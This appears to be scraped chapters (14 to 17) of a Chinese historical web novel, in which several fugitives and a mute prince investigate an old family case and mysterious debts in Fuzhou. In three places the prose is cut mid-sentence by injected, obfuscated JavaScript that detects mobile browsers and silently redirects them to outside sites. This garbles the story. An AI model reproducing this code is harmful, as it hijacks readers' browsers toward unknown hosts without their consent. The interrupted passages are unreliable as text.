他匍匐在地,仿佛面前站着的是当年的萧既白。 “你说萧子因是被幕僚收养,可收养我的人并非萧家幕僚。”他还是不肯相信,他竟然真的是萧子因。 “我不知道当年发生了什么,可认得这银铃的只有萧家之人,幼公子今日来找我问这铃铛,想必心中已有答案。” “萧家当年的事你知道多少?” “我知道的已经全部讲了,萧家没有罪。救出你的那晚,萧将军将这只铃铛交给了我,让我带着你走得越远越好。那晚仿佛是上天都怜悯将军的冤屈,一路上没有追兵,没有人发现我们。” “我母亲呢?” “当年萧家落难,苦于战乱的流民便趁机哄抢萧家,萧夫人带领府中众人驱赶流民,却不幸丧生。” 母亲死了,父亲下狱。逃出去的只有他和那只铃铛。 可为什么偏偏要拿铃铛给他? 14. 盟友 渭州棋局已定,裴决想为萧家翻案便只能站在他们这边,毕竟空口无凭,他不能单凭一句话一只银铃就让朝廷重审十一年前的大案。 他要借着捉拿柳祈的由头将当年的真相查出眉目来。 再过几日宋鹊就要上断头台了,宋鹊最后跟裴决说了两句话。 一句是“去复州找张晁的消息,他若还活着定知晓的比我多。” 还有一句是“永远别被权贵左右,要像你爹一样做一个大英雄。” 在他们准备离开的那晚,北关传来消息,裴决失踪,挽风楼被查,知蔻下狱待审。 一切发生得太突然,晚娘只能被迫离开。 出了城裴决将马车驾至河边,陈竺就被葬在此处,土堆旁有一颗遮风挡雨的树。 “你来这儿干什么?”柳祈问。 裴决一人站在墓前,风吹树动,地上的影子也跟着动,裴决的背影在这月色下显得太孤独了。 形单影只,仿佛此刻他才是土堆里的陈竺。 “宋鹊要死了。”他轻声开口,不知道是说给谁听。 那个土堆当然不会答话。 于是柳祈接过话来“裴大人想送他最后一程?” “我只是在想他死了之后会被葬在哪儿?” 宋鹊没有家人了,他的尸首不会有人来认领,唯一的归处就是乱葬岗。 他会变成孤魂野鬼,连一座新坟都没有。 裴决深深吸了一口气,摇摆不定的指针终于还是有了方向。 他转身看着柳祈,道“柳望月,有一件事我一直很想问你。” “裴大人想问什么?” “你为何非要拉我下水?为何非要让我加入你的队伍?” “我要报仇,梁康成和梅映雪都是我的仇人,你当质子再好不过。” “可那是我父亲,我为何要帮着你对付他?” “因为他也是你的仇人。萧既白死于谁之手你还不知道吧?行刑的人是梅映雪,他杀了你爹,杀父之仇裴大人不打算报吗?” “可我父亲对萧家的冤屈并不知情,错不在他。” “哦?”柳祈勾唇,道“裴怜山,你生父跟宋鹊一样被扔在乱葬岗,连一座可以祭奠的坟都没有,你现在却在可怜杀父仇人?” “杀了我爹的不是梅映雪!我知道你想做什么,我会找出真凶,祭奠我爹的亡魂,我也绝不会轻易受人挑拨辜负恩情。柳望月,我可以不押你回京,但我只有一个条件,萧家案你得帮我查。” “你就这么确信萧家一定有冤屈?” “既然有人喊冤,为何不信?”裴决看向马车上的二人“你们不都是因萧家受累吗?若此案查出来萧家确实有罪,那我以命谢罪。可若此案另有隐情,那个幕后之人才是我们共同的敌人。柳望月,不要报错了仇。” 不要报错了仇。 柳祈仿佛嗅到了一场更大的阴谋,若萧家案真的有冤,那梁康成绝不会是他唯一的仇人,建京被围困也绝非表面那样简单。 他突然有了一个更妙的想法,将这场惊天动地的大案翻出来,把这池水搅浑,让池中大鱼浮出水面。 一个都不要放过。 一个都别想活。 柳祈的目光落在沈韫身上,仿佛在等她的回应。 沈韫有些动摇。她当然想找出幕后凶手报仇雪恨,可她也想带走梁昭去建京,只有去了建京才能找到父母的消息。 树枝被吹得沙沙作响,林中的鸟儿四处寻找安身之处。大雨就要来了,它们只有结伴才能活下去。 沈韫终于开口“宋鹊就要死了,萧家案怎么查?” 裴决答“去复州,找张晁,他知道更多。” 风雨不歇,陈竺的坟旁立起了一座新土,土堆前插了一块木头,上面的字歪歪扭扭,勉强能认出来刻着恩师宋鹊之墓。 可土堆里连一件衣裳都没有。 宋鹊的尸骨不会被埋在此处,他亲手为他的学生掘墓,亲手埋葬了本该前程大好的陈竺。他已年过半百,却依旧为陈竺做了好多打算。 计深远,谋长久,他将毕生所学倾囊相授,如今本该是陈竺报恩的时候。 可现在,两座新坟,草草一生,没有人会记得他们的冤屈。 坟上会长满新草,渭州会迎来新官,只有他们被困在这场雨中。 做完了一切裴决便和他们踏上了去复州的路。 复州在几个月前因接连暴雨,遭遇了水灾,庄稼全被淹没,原以为这会是一项棘手的工作,可复州的郭大人却很快便将此事解决了。 朝廷派去复州的人回来说复州如今河道清明,百姓安居,农田里又种上了庄稼。 梁康成为此特意召见了这位劳苦功高的郭大人,听闻他家中清贫,自幼读书,一举便考取了功名,是一位受人爱戴的好官。 一踏上复州的地界,三人便皱起了眉。复州比渭州大多了,要找一个连是死是活都不知道的人谈何容易。 “还是先找个地方落脚吧,阿昭亥时就得服药。”沈韫提议。 裴决道“客栈人多眼杂,我们找一处宅子更方便行动。” 两人不约而同看向柳祈。 这里面就他消息最灵通,找一处宅子不算难事。 在日落之前,柳祈在城西的燕子巷找到了一处空置的院子,那条巷子里住着的都是农户。 柳祈给了院主人一笔租金,本意是想租下院子,可院主人却将地契都给了柳祈。 这处院子不大,中间有一颗老树,主人说那是棵金梅。 院主人是一位孤寡老丈,说妻儿老小都先他走了,他继续住在这里只会睹物思人徒增烦恼,遂决定处置了财产投奔兄长。 在交付货款时,老丈实在是好奇,便问了“这个地方实在冷清,公子为何想着来这儿住?” 柳祈温声道“家中有两位弟弟来求医,别的地段租金太贵,想着这里能让我们兄弟四人有个安身处。” “公子家中有四个兄弟?” “是啊,晚辈家中兄弟多,无奈又是清贫之家,父母不在身边,我们四人只能互相帮扶着。如今小弟患病,来此处求医,我只得将这几载于此处攒的钱财尽数拿出来,买一处地儿好让他们有个住处。” 柳祈这信口拈来的本事真是愈发熟练了。 老丈听了点了点头“这是福气,兄弟同行,纵是苦海便也有舟可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419233|168952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渡。现下虽是看不出什么,可一旦行至绝境,他们定会是你唯一信得过的人。” “那是自然,骨肉缘枝叶,如今虽是境遇艰难了些,日后兄弟齐心定能有所成。” 老丈笑道“那便预祝公子们所愿皆偿,还要多谢公子为老夫解燃眉之急。” “老伯客气了,既然要赶路便早些出发吧,否则天黑之前怕是到不了了。” “是是是,确实得走了。” 老丈着急忙慌地告了辞。 当晚,他们四人便搬了进来。 烛影摇光,除去挽风楼那次,这是他们第二次同坐一张桌。 逃犯,追兵,质子,劫匪。这场景真是有趣。 沈韫笑道“现在我们算是共犯?” 裴决反驳“盟友。” 这对话似曾相识。 沈韫又道“可我们互不信任。” “我不会撒谎。” 柳祈骤地笑出了声“现在谈信任太早了。” 他道“宋鹊还跟你说了什么?张晁是谁?要如何才能找到他?我们什么都不知道根本无法计划下一步。” “我只知道张晁是我爹的部下,宋鹊说他救出我时在复州见到过他,他那时受伤了,眉上有一道疤。” “你爹的部下不应该都被押回华京问斩了吗?” 沈韫猜测“也许他逃出来了,回华京的路那么远,不可能没有逃犯。” 回华京的路那么远,既然逃出来了为何还要留在复州? 这一切都要找到张晁之后才能知道。 柳祈喝完了最后一口茶,道“明日我们先去探探情况,裴决失踪,朝廷一定会有所动作,万事要小心为上。” 裴决点头“明日我去城东,你留在这里看守。” 话音刚落,他像是终于想起来他此次出京的目的。于是他转头看向安静坐在一旁的梁昭,满脸愧意。 他是君,而裴决是臣,裴决此刻应该想尽办法救他脱困,可他却还帮着贼子作乱。 他毫无颜面。 “殿下恕罪,臣为人子无法看着生父蒙冤,待此事一了,臣定当负荆请罪。” 眼前的一切太过心烦,梁昭干脆闭上了眼。作为君臣,他当然怪罪裴决的选择,可同为人子,他无法阻止裴决为父申冤的决心。 渭州陈竺案是梁昭亲身经历的第一个案子,他惊讶于官场竟会成为权钱交易的地方,诧异于宋鹊不惜搭上一切也要替学生手刃仇人。 他在华京这么多年,官场里的形形色色他以为他都见识过了。可到底是那些人太能藏,还是华京当真清明,他竟从未听到过半点污声。 代知远是尹郡代氏的旁支,尹郡代氏世代为官,祖上更是开国重臣,封为太师。这样一脉能在朝野叱咤风云的世家,绝不可能没有人想去攀附。 官官相护是朝堂上最常见的恶疾,代知远能纵容儿子作恶多年,绝非他一人的功劳。 父皇最厌恶世家大族居功自傲,所以他们在华京都得夹着尾巴做人,可华京之外的地方便成了他们为所欲为的领域。 他们妄想只手遮天,妄想忤逆君威欺上瞒下,那他便要替父皇将此等狼子野心之徒铲除干净。 15. 蹊跷 次日一早,裴决和沈韫都出了门,家中只剩下柳祈和梁昭。 这个新家一贫如洗,连几粒米都翻不出来,早膳倒成了第一个难题。 偏偏这个时辰邻家炊烟袅袅,饭香都飘进了他们的院子。 梁昭看着柳祈,那眼神仿佛在说让他去想办法。 柳祈双手抱臂,问“为什么是我去?” 梁昭用力地指了指自己的嗓子,满脸写着难道是我去? “你当然要去。话由我来说,你在旁边点头就行了。” 梁昭不情不愿地被柳祈拉着出了门,刚一靠近院子就听见里面的人在说话。 柳祈抬手叩了叩门,说话声戛然而止。 无人应声,也无人开门。 柳祈与梁昭相视一眼,觉得有些奇怪。 他又叩了叩门。 炊烟缭绕,院内的年轻妇人恍然发现升起的白烟早就将他们出卖了,于是硬着头皮应道“谁?” “我们刚搬来邻家,有些事想麻烦一下。” 这声音听起来清秀,像是个年轻公子。 于是妇人将门打开。 门外之人衣着干净,气质温润,不像是会住在燕子巷的人。 “二位公子有什么事?” 柳祈拱手作揖,道“我们兄弟二人四处求医,昨日刚搬来此处,来的仓促忘了备粮,不知可否借点吃食?” 妇人问“你们住在哪儿?” 柳祈指着左边“曲水边那户便是我们的住处。” 她确实听说曲水的老翁要处置房产,没想到这么快就搬进了新人。 她仔仔细细将面前的两人看了一番,言行举止颇有礼节,定不是那些泼皮恶霸派来的人。 于是她道“家中粗茶淡饭,若二位公子不嫌弃便进来坐吧。” 她将只开了小半的门打开,露出躲在她身后的两个孩童。 她招呼两个孩子回到屋内,对大一点的男孩儿道“看好小妹,别让小妹出来。” 小小的四方桌上摆上了两碗堪比清水的米粥。 “二位公子莫怪,我家实在拿不出多的米粮,这碗粥勉强能应付一会儿。” 复州的农桑一向收成不错,为何农户却只能喝米粥果腹? 柳祈心下疑惑,问“你家中就你一人?” 妇人摇头“夫君有事外出了。” 有男丁那便更不应该如此窘迫。 妇人同样对他们好奇“二位公子是从哪里来的?” “北边来的。” “来复州求医?” 柳祈点了点头。 妇人注意到了,柳祈身旁那个男子从一开始便未开过口。 她盯着梁昭,迟疑开口“这位公子……” “他是我胞弟,突患恶疾不能说话,家乡名医都看遍了也不见起色,只能千里迢迢来此处。” 妇人哦了一声,还欲说些什么,却被一串急迫的敲门声吓得一颤。 她惊恐地望向门口。 “开门!听见没有快开门!”男人粗着嗓子喊道“我知道你在里面,别躲着不说话!” 听起来像是仇家。 妇人颤声道“我夫君出去了,你们改日再来吧。” “老子是来要钱的,不是来叙旧的。”他猛地一拳砸在门上,怒道“把门打开!” 妇人艰难地挪到门口,门栓卸下的一瞬间,门被踢开,重重地弹在她的肩上。 她疼得眉头皱成了一堆,再抬头时却发现院内坐着的两人不见了。 进来的那个男人将院子翻了个便也没找到能抵账的东西,于是他径直往屋内走。 妇人顾不上疼痛,急忙跑去拦在他面前“大哥,我们真的没有值钱的东西了,今年收成不好,我们连过冬的存粮都快没有了。” 男人一把将她推在地上“这个钱早在一个月前就该还了,我们家主人说了这一个月的利息都免了,可你们连本金都还不上,还好意思让我们再宽限?” “实在是对不住,我们已经在尽力凑钱了,可水灾刚过,庄稼受累,我们实在没有钱了。” “没钱总有人吧,我知道你家中有孩童,不如我带回去当个杂役,待你什么时候还清债务我便什么时候放他回来。” 妇人听了急得跪在他的脚边,不停地磕头“我求求您,孩子尚小,这些事跟他有何干系,我求求您高抬贵手!我与夫君已经在想办法了,三日,就再给我们三日,我们一定将钱还上!” 男人不为所动“一个月都还不清的钱再给你三日便有办法了?糜娘子,不是我非要为难你,欠债还钱天经地义,可你们次次搪塞拿不出钱,让我如何跟主人交代?” “我知道我知道,我们真的不是有意的,这家中有什么能置卖的您尽管拿走抵债,我求求您别动我的孩子。” “那便将地契交出来吧。” “地契?不行!这是我们唯一的安身之所了。” “糜娘子,这也不行那也不行,你不能什么好事都占尽了呀。”男人沉下脸,决绝道“要么交出地契,要么我带走你儿子。” 屋外糜娘子苦苦哀求,屋内两个孩子害怕地抱在一起。梁昭拽了拽柳祈的衣袖,示意柳祈去帮女人解围。 可柳祈却直接拒绝。 最终,那男人还是带走了地契。 糜娘子瘫坐在地上,脸上糊满了泪水,发髻因刚才的动作而变得凌乱,额上磕出了血印。 她的两个孩子跑出来紧紧将她抱住,柳祈和梁昭悄无声息地离开。 回到家中梁昭便用手指蘸取杯中的水,在桌上写下几个字:你为何不帮忙? 他瞪着柳祈,仿佛柳祈才是罪魁祸首一般。 柳祈反问“为何要帮她?” 梁昭继续写下:她帮了我们。 “今日的事你看清楚了始末吗?知道那个来催债的人是谁吗?知道他们家为何欠债吗?” 这三个问题让梁昭一时哑口无言。 他又写道:可你明明有能力帮忙。 “那是我的事,我帮或不帮都是我自愿,你不能要求我有能力就一定要去涉险。” 梁昭不赞同他的说法:你置身事外并非君子所为。 “君子可不会逞一时之能。这里不是华京也不是宫中,这里的一切不是你想的那么简单。” 梁昭半信半疑:我要帮她拿回地契。 “她的事我们管不了,我们要找张晁。” 柳祈欲走,梁昭拉住了他:她帮了我们。 “我们尚是逃犯,自身难保,还去管别人的事?” 梁昭不肯松口:此事有蹊跷。 复州多富农,水灾过后农业复苏迅速,不论是税赋还是收成都十分漂亮,为何还会有农户要靠借贷生活? 柳祈扫了他一眼,抽出手,冷声道“我没那么多闲工夫去管别人的事。” 两人谁也不愿意妥协,这件事没争出个结果来。 裴决在城东转了好几圈,那条街上的商贩一开始还吆喝着让他买东西,几次之后再看见他便只将他当作一个怪人。 复州城中突然出现一位腰配宝剑的年轻公子本就奇怪,可偏偏这个年轻公子还围着一条街来来回回走了好几趟,目光在每一个摊贩脸上流转,似乎在审视犯人。 这些人的眉上都没有疤。 裴决走进了一家茶肆,里面有人讲书,热闹非凡。 他给店小二手里塞了两枚碎银“给我上壶青茶。” 小二掂了掂手中的银子,道“这银钱给多了。” “剩下的就当我从你这儿买个消息。”裴决问“你可认识一个叫张晁的人?” 店小二摇了摇头“客官,我只是一个卖茶的,哪儿认识那么多人。” 说完他将手中的银子放回了裴决手中“我只收茶钱。” 讲书先生将扇子合上,一个回合落下帷幕,茶客纷纷散场往外走。 裴决被挤在其中,有人碰了他的肩,有人勾了他的袖子,还有人撞上了他的腰,他好不容易才挤到边上。 店小二将煮好的茶端上来,问他打算坐哪儿。 裴决摆了摆手示意不用麻烦,端起茶杯一饮而尽。 快到晌午了,他得赶紧返回家中。 裴决将茶杯放回小二手中,转身离开时习惯性地摸上腰间的剑柄。 腰上好似少了什么东西,可剑还在, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15419234|168952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 革带上的重量未减。 他顺手往前摸了摸,那枚银铃一直被他系在剑前,和父亲佩戴的位置一样。 可银铃呢? 他低头,腰间确实没有那只铃铛。 裴决急匆匆地折回去找,可地上什么也没有。 他突然想起刚才被挤在人群中,有人贴身而过,银铃一定是那个时候被人拿走的。 为什么要偷走他的银铃? 他来不及多想,冲出去搜寻可疑的人。 街道上的人实在太多,看不出什么异常。 但银铃不能丢。 他将人一个一个拦下查看,惹了不少埋怨。 沈韫找到他时他的身边围了一层又一层的人。 “这人有病吧?” “你干什么!” “他怕不是疯子?” “可他带着剑呢,这剑看起来挺值钱的,这么漂亮的剑会带在一个疯子身上?” “快走吧快走吧,别惹上麻烦。” “他好像在找什么?” “能找什么?仔细捂好你的钱袋子,别让人偷了去。” 耳边的声音越来越多,裴决知道他有多冲动,可他一想到银铃也许再也找不回来了他就急得没了分寸。 银铃不能丢。 这是他父亲唯一留下的东西。 他只有这只铃铛了。 “裴怜山!”在他再一次想要拦下路人时,沈韫抓住了他的手。 “你在做什么?”她皱着眉,十分不解。 “我的银铃被偷了。” 沈韫的目光下移,落在裴决空荡荡的腰间。从离开渭州开始,他的腰间就挂着铃铛,他一走路就叮当响。 “在哪儿丢的?” “茶肆。刚才茶肆里有好多人,离开时我被挤在其中,再之后银铃就不见了。” “你去茶肆找了吗?” “找了,茶肆没有,一定是被人偷走了。” 沈韫看了眼不远处的茶肆,问“你去茶肆做什么?为何那里会有很多人?” “茶肆里有说书先生,那些人都是原本在里面听书的。” 这么说偷盗之人并非一开始就冲着铃铛去的。 “你先别急,这么大张旗鼓地找只会让偷盗者藏得更深。那人盗走银铃也许只为了换钱,我们先去当铺问问。” 裴决点头“好。” 城东唯一一家当铺名叫且月当铺,此时还未到晌午,可当铺却大门紧闭。 沈韫问了一位大娘“这当铺为何还没开门?” 大娘道“还开门呢,这当铺早就开不下去了,里面的东西也没人来赎,索性就这样关了。” “你说的没人来赎是什么意思?” 当铺竟会歇业? 大娘诧异地看着沈韫“你一定不是复州的人吧?” 沈韫迟疑地点了点头。 “这就对了,你不知道就对了。”大娘告诉她“当铺里的东西不少,可没人有钱来赎,我们的钱除了还债就是赋税,年复一年日复一日,多一文钱也没有。” “怎么会这样?还什么债?” 大娘摆了摆手不愿多说,只留下一句“你们若是来做生意的便趁早打道回府吧。” 明明这里看起来跟华京没有差别,百姓生活富余,商贩运转正常,可为何他们会说自己深陷债务。 这难道不是自相矛盾吗? 裴决和沈韫都察觉到了异常。 “如今看来那个人偷你的银铃也许是拿去还债了。”沈韫道。 “可朝廷得到的消息是复州一向富足,每年的赋税按时缴纳,并无困难。” “但事实并非如此。” 裴决捏紧了拳头“这些人当真是以为离了华京就可以只手遮天了吗?连为民计生计都做不到,脑袋上的官帽是摆设吗?” “有了权谁还会在意蝼蚁?说得好听民为天,可我们不过是他们登上青云路的跳板。” 日头渐烈,沈韫提议“走吧,我们先回去,银铃之事只有另想办法。” 尽管裴决不想就这样折返,可他现在别无他法,偌大的复州城要找一个人难,要找一只铃铛更难。 16. 动摇 夜里下起了雨。 也许是窗外的风雨声太像那天兵刃相撞的声音了,柳祈又做起了同一个梦。 梦里的母亲依旧说着那句话,他追问母亲是什么意思,可母亲只是流泪。 雨势渐大,好似兵马逼近的脚步声,画面开始模糊,千军万马似黑云涌来,他在梦中看见了那天要杀他的人。 那人手提一把长剑,血迹在他的衣袖晕开,几缕发丝散落下来,柳祈从未见过如此狼狈的杀手。 “琛儿!”母亲的声音从身后传来,柳祈转身,看见了同样提着剑的母亲。 她的衣裙上沾满了鲜血,漂亮的发髻变得凌乱,珠钗早就不知道掉在了何处。 她疾步上前,将柳祈挡在身后,剑指那人的咽喉。 “我母子与大人无冤无仇,大人为何要逼我至此?” “这都是你们欠她的。这都是你们欠她的!” 他挺步向前,脖颈被剑刃擦破一道口子,可他一点儿也不在意。 他咬牙切齿道“你们母子二人得替她偿命!” 柳祈看见母亲的背影一颤,随后听见她说“杀了她的不是我!大人想报仇不应该来这儿。” “少废话!今日你们都得死在这儿!” 他举起手中的剑,狠狠往前劈去。可他从未拿过刀剑,轻而易举便被剥去了兵器。 母亲身姿挺立,手中的剑依旧稳稳地指着他的脖颈。 “大人何苦?你明知道你不是我的对手。” 他竟被仇恨冲昏了头,忘了眼前这个女子曾经上阵杀敌。 这一局他再也无法替她赢回来了。 “你杀了我吧。”他道。 可母亲却放过了他“我的仇人不是你,我只是想保护我的孩子。你走吧,他们就要杀进来了,快逃吧。” 柳祈看着那个人消失在墙角,墙外的厮杀声越来越近,终于冲破了这堵墙。 母亲让他躲起来,她一人在前杀敌,一招一式干净利落,她的衣裙上溅上了更多的鲜血,她的剑下死了一个又一个人。 他从未见过母亲拿剑的样子,更从未见过母亲杀人的样子。 那日母亲倒在他的面前,血泊如一面镜子,映照出母亲的面容。 柳祈还记得母亲看向自己的最后一眼。 母亲的眼睛很好看,像是会说话,他自小便喜欢看着母亲的眼睛。 唯独那天他没有读懂母亲眼中的话语。 母亲的眼睛在流泪,可她分明在笑。 那双漂亮的眼睛好像有很多话要说。 视线变得模糊,柳祈用力地用衣袖擦掉眼泪,想要看清楚母亲的面容。 可为什么眼泪总是停不住,为什么他擦了这么多遍还是看不清母亲的样子。 他的胸口就像堵了一块巨石,他难受得快死了,他想冲过去抱住母亲,可他不能动,他连一点声音都不能发出。 母亲死了。 他不能哭。 柳祈从梦中惊醒,眼泪浸湿了枕头。 窗外的雨未减几分,他没了睡意,起身走到院内。 “母亲……”他望着如断线一般的雨,自言自语道“母亲,我还不懂那句话的意思。你能不能回来告诉我?” 回答他的只有雨声。 “母亲,”柳祈擦掉脸上的泪,眼神突然变得狠戾起来“害死你的人我一个都不会放过。我要杀了他们,要让他们也尝尝生不如死的滋味。” 大雨如帘,薄雾四起,院中好似出现了一个单薄的身影。 柳祈轻轻挑眉,注视着雨中之人。 “沈姑娘这么晚了去见谁了?”他勾着唇,饶有兴致地盯着沈韫。 沈韫收伞的动作一滞,抬头警惕地看着柳祈“柳公子这么晚了在还不睡?” “沈姑娘还没回答我的问题。你去见了谁?” “睡不着,出去走了走。” 她没说实话。 “冒着这么大的雨?” “你不也出来了吗?” 她绕过柳祈,拍了拍溅在衣上的雨水便径直进了屋内。 檐下又只剩柳祈一个人,四周只有雨声,他形单影只。 烛火被掐灭,屋内没了动静。 一杯冒着热气的茶突然出现在柳祈面前。 他循着这杯茶看去,沈韫正俯首看着他“喝了。” 柳祈盯着她,半晌才轻笑道“你要给我下毒?” “对,你死了我就把梁昭带走。” “你当真一点旧情都不念?” 沈韫蹙眉“我与你有什么旧情?” 看她的样子是真的想不起来。 柳祈不再说话,接过茶杯一饮而尽。 “杯子还你,你走吧。” 他这话分明带着气。 沈韫当然不会理会他,拿着杯子就要离开。 转身之时听见身后的人说“沈怀珠,你的心长在肚子里吗?” 她骤地回头,十分诧异地看着柳祈。 坐在檐下的人仿佛变成了那个七八岁的男童,气鼓鼓地背对着她,怒道“沈怀珠,你的心难道长在肚子里吗?” 可那个人早就离开瓜州了,他的父亲是命官,他一定不会是逃犯。 那年是她在江迫家中的第二年,她还是江迫唯一的学生。 江迫每日教她写字念书,教她忘掉建京重新开始,她什么都听江迫的,连江迫都以为她真的放下过往了。 可她从未放弃过要回建京的念头。 战乱之时她的父母拼死将她送出城,江迫收留了她,带着她一路南下。 江迫于她恩重如山。 后来江迫家中又来了一个小孩儿,年岁和她相差无几,也成了江迫的学生。 听说他的父亲是朝中官员深得重用,他自小锦衣玉食,应该没有烦恼才是,可却冷着脸整天不说话。 沈韫和他每天都待在一起,念书、写字、对弈,他们是最亲密的对手,可她却连他的名字都不知道。 他来的那天正值雨后,桃花落了满地,沈韫捡了一根桃树枝,偷偷在院中比划着画本上学来的招式。 不巧的是刚好被他看见了。 “你是谁?为什么在这儿?”沈韫有些害怕,将树枝藏在身后。 他看着站在桃花地里的人,却不说话。 父亲说了,不能随便告诉别人自己的名字。 沈韫见他不说话,急得往前迈了几步“你到底是谁?怎么进来的?” 他还是不回答。 “你是哑巴吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15427300|168952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他终于摇了摇头。 “那你为什么不说话?” 他又摇头。 “你……”她还想追问,却被江迫的声音打断。 “韫儿。”江迫的声音一响起沈韫便着急忙慌地将手中的树枝扔开。 “他刚来此地太累了,你带他去休息。” 沈韫乖乖点头“好。” 他们的住处要穿过一条很长的回廊,沈韫领着他走,两人谁都没有再搭理谁。 之后沈韫依旧偷偷在院子里照着画本学招式,桃树枝是她的短剑,柳祈会在江迫回来时故意弄出声响提醒沈韫。 柳祈从未问过沈韫学剑术做什么,沈韫也不理睬柳祈在旁边看她,她好像有很重要的事要做。 直到有一天江迫突然折返家中,发现了沈韫偷学剑术。 沈韫被罚跪祠堂,柳祈被罚抄诗书。 他曾去找过沈韫,想劝她认错,可沈韫不愿低头。 他实在忍不住,开口问道“你为什么总是偷偷练剑?” 沈韫似乎并不惊讶他开口说话“我想学。” “那为什么老师不让你学?” “我不知道。” “你拿得动剑吗?” 剑那么重,她也能像母亲一样拿得稳吗? “当然了,我长大了就能拿得动了。” 祠堂内的烛火映在柳祈眼中,他问“你学剑是想杀人吗?” 沈韫反驳“我要救人。” 柳祈又问了一个奇怪的问题“你能教我杀人吗?” 沈韫惊讶地看着他,稚嫩的脸上满是戾气,他的话并非玩笑。 “算了,”他又道“我不要让他们死得这么简单。” 这个奇怪的人只在江迫家待了一年便回家了,听说他的父亲又升迁了。 沈韫有一个疑问一直没被解答:他到底叫什么名字? 他离开的那天恰好也是雨后,院子里的桃花树结了好多桃子。 柳祈送了她一把木剑,却告诉她“不要学剑,不要救人。” 他不想她像母亲一样惨死。 他离开后不久沈韫也偷偷跑了出去,她离开了瓜州,去学了一身功夫,只为了有朝一日能回到建京去。 听说之后江迫也收了不少学生,可她再也没有听到过那个人的消息。 大概他会跟他父亲一样入仕为官吧。 这么多年过去,沈韫都快忘了在江迫家中的那段时间了。 今日于城东有人塞给她一封密信,信上让她夜里见面。 那人交给他一瓶毒药“主人的意思是将此毒下至柳祈杯中,待毒效发作定能让柳祈交出全部解药。” 这毒发如白蚁噬心,任何想问的话都能问出来。 方才那杯茶中她差点便将此毒放进去了,但她知道柳祈多虑,怕是不会喝她递过去的东西,谁知道今夜柳祈跟变了个人似的,竟喝了她的茶。 雨下了一宿,柳祈和沈韫一夜未眠。 那瓶毒药被她捏在手中,她想了许久该不该下毒。 她应该毫不犹豫地去做才是,可她总有顾虑,萧家的事,江迫家中遇到的那个人,她总觉得这一切的背后还有一张更大的网。 她若贸然行事,必会成为网中之鱼。 17. 匕首 糜娘子家一大早便来了人,催促他们尽快搬出去。 连夜的雨让路上泥泞不堪,他们没有银钱租一辆马车,只能背着为数不多的衣物徒步离开。 泥土打湿了鞋袜,从此天大地大再也没有一处容身之所。 眼看着他们一家四口越走越远,梁昭一把抓住裴决便往外冲去。 “殿下……”话还没问完,梁昭便打断他,示意他拦下前面的人。 裴决虽不解,但也照做了。 那四个人走得并不快,他三两下便追上了。 “几位留步,我家殿……”他顿了顿,改口道“我家弟弟有事劳烦几位。” 糜娘子闻言回头,随着他的目光看去,只见昨日那位哑巴公子疾步追了上来。 他不能说话,将怀中的银钱塞到糜娘子手中。 糜娘子疑惑“公子这是做什么?” 梁昭着急地指了指他们身后不远处的房子,那几个来收房的人还在院子里四处翻找着什么。 糜娘子好像懂了他的意思,又惊又喜,看向她的夫君“这位公子该不会想替我们赎回房子吧?” 梁昭连连点头。 糜娘子的夫君将钱还了回去,道“多谢公子好意,可这钱我们不能要。” 为何? 梁昭十分不解地看着他。 他又说道“这钱我们还不起。” 我不要你还。梁昭摆了摆手。 裴决在一旁帮他解释“银钱你们尽管拿去,便当解你们燃眉之急。” “可公子为何要无缘无故给我们钱?” “我家弟弟向来心善,扶贫济弱之事做过不少,二位不必疑虑,收下便是。” “可……” “我们搬来此处也想有个能照应的邻里,二位昨日收留我弟弟,这银钱便权当是报恩。” 糜娘子拽了拽丈夫的衣袖,示意他收下钱。 几番思虑后他抱拳躬身“多谢二位公子今日救急,今日之恩糜某铭记于心,他日若有能用到糜某之处哪怕赴汤蹈火也在所不辞。” “糜郎君言重了,你们的鞋袜都湿了,快些回家去吧。” “多谢公子。” 那些银钱足够他们赎回地契,回家的路似乎变得很短,泥土沾满他们的鞋底,可他们的脚步依然轻快。 梁昭终于露出了笑意。 裴决有些好奇“殿下为何要帮他们?” 梁昭折了一根树枝,在地上写道“我要去复州城中。” “去做什么?” 梁昭写下四个字“债务,有疑。” 昨日回来他们便在谈论城东听到的怪事,城东的当铺歇业,糜娘子一家深陷债务,复州仿佛并不太平。 他一定要彻查此事。 简单吃过早膳后四人便结伴去了城东。 这一次柳祈腰间特意挂了一只玉佩,位置醒目,他戴着这只玉佩和沈韫一前一后进了茶肆。 店小二热情地上前“这位公子喝什么?” 柳祈道“一壶青茶。” 茶肆内坐了不少人,说书先生端坐其中,说着惊世骇俗的地方志怪。 柳祈拿了茶却迟迟不落座,颇有兴致地站在人多处听故事。 